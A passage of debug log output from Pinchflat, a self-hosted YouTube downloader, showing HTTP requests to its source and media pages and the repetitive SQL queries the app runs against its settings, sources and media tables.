s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:45.743 [debug] QUERY OK source="settings" db=0.1ms idle=1231.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:45.744 [debug] QUERY OK source="settings" db=0.4ms idle=1232.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:45.745 [info] Sent 200 in 2ms 23:25:47.885 [info] GET /sources/2/media/64/edit 23:25:47.885 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "64", "source_id" => "2"} Pipelines: [:browser] 23:25:47.885 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0e3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 23:25:47.886 [debug] QUERY OK source="settings" db=0.1ms idle=374.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:47.886 [debug] QUERY OK source="settings" db=0.1ms idle=374.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:47.887 [debug] QUERY OK source="settings" db=0.1ms idle=374.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:47.888 [info] Sent 200 in 2ms 23:25:49.752 [info] GET /sources/2/media/66/edit 23:25:49.752 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "66", "source_id" => "2"} Pipelines: [:browser] 23:25:49.752 [debug] QUERY OK source="media_items" db=0.3ms idle=864.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 23:25:49.753 [debug] QUERY OK source="settings" db=0.2ms idle=241.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:49.753 [debug] QUERY OK source="settings" db=0.1ms idle=241.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:49.754 [debug] QUERY OK source="settings" db=0.4ms idle=241.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:49.755 [info] Sent 200 in 3ms 23:25:59.080 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.040 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:01.098 [info] GET /media/a8e30a46-0007-4f35-ad72-0761be75d695/stream 23:26:01.098 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "a8e30a46-0007-4f35-ad72-0761be75d695", "v" => "1774663884"} Pipelines: [:maybe_basic_auth] 23:26:01.098 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=1586.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["a8e30a46-0007-4f35-ad72-0761be75d695"] 23:26:01.099 [info] Sent 404 in 862µs 23:26:01.691 [info] GET /media_profiles/new 23:26:01.691 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 23:26:01.691 [debug] QUERY OK source="media_profiles" db=0.0ms queue=0.1ms idle=792.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:01.692 [debug] QUERY OK source="settings" db=0.0ms idle=593.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:01.692 [debug] QUERY OK source="settings" db=0.0ms idle=180.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:01.692 [debug] QUERY OK source="settings" db=0.0ms idle=180.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:01.692 [debug] QUERY OK source="settings" db=0.0ms idle=180.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:01.692 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:01.693 [info] Sent 200 in 2ms 23:26:02.348 [info] GET /sources/1 23:26:02.348 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 23:26:02.348 [debug] QUERY OK source="sources" db=0.1ms idle=656.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:02.349 [debug] QUERY OK source="media_profiles" db=0.0ms idle=656.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:02.349 [debug] QUERY OK source="tasks" db=0.0ms idle=656.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 23:26:02.349 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=656.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 23:26:02.349 [debug] QUERY OK source="settings" db=0.0ms idle=449.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.349 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.349 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.350 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:02.350 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:26:02.351 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:26:02.351 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:02.351 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:26:02.351 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:26:02.352 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:02.352 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:26:02.352 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:26:02.352 [info] Sent 200 in 4ms 23:26:02.896 [info] GET /sources/2 23:26:02.896 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 23:26:02.897 [debug] QUERY OK source="sources" db=0.2ms idle=545.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:02.897 [debug] QUERY OK source="media_profiles" db=0.0ms idle=545.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:02.897 [debug] QUERY OK source="tasks" db=0.2ms idle=545.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 23:26:02.897 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=545.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [85] 23:26:02.897 [debug] QUERY OK source="settings" db=0.0ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.898 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.898 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:02.899 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:02.899 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:26:02.899 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 23:26:02.900 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:02.900 [debug] QUERY OK source="media_items" db=0.0ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 23:26:02.900 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 23:26:02.901 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:02.901 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT 